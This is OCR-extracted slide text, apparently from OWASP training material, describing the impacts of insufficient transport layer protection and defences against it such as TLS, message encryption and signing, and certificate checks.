* On the web, to backend databases, to business partners, internal
communications

* Failure to properly protect this data in every location

mmw 1ypical Impact

* Attackers access or modify confidential or private information

* e.g, credit cards, health care records, financial data (yours or your
customers)

 Attackers extract secrets to use in additional attacks

e Company embarrassment, customer dissatisfaction, and loss of trust
* Expense of cleaning up the incident

* Business gets sued and/or fined
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Internal attacker steals
credentials and data from
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External attacker
steals credentials and
data off network

External Attacker Internal Attacker
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AlO Avoiding Insufficient Transport
Layer Protection

Protect with appropriate mechanisms
— Use TLS on all connections with sensitive data
— Individually encrypt messages before transmission
* E.g., XML-Encryption
— Sign messages before transmission
e E.g., XML-Signature

Use the mechanisms correctly
— Use standard strong algorithms (disable old SSL algorithms)
— Manage keys/certificates properly
— Verity SSL certificates before using them
— Use proven mechanisms when sufficient
e E.g., SSL vs. XML-Encryption

for more details



http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
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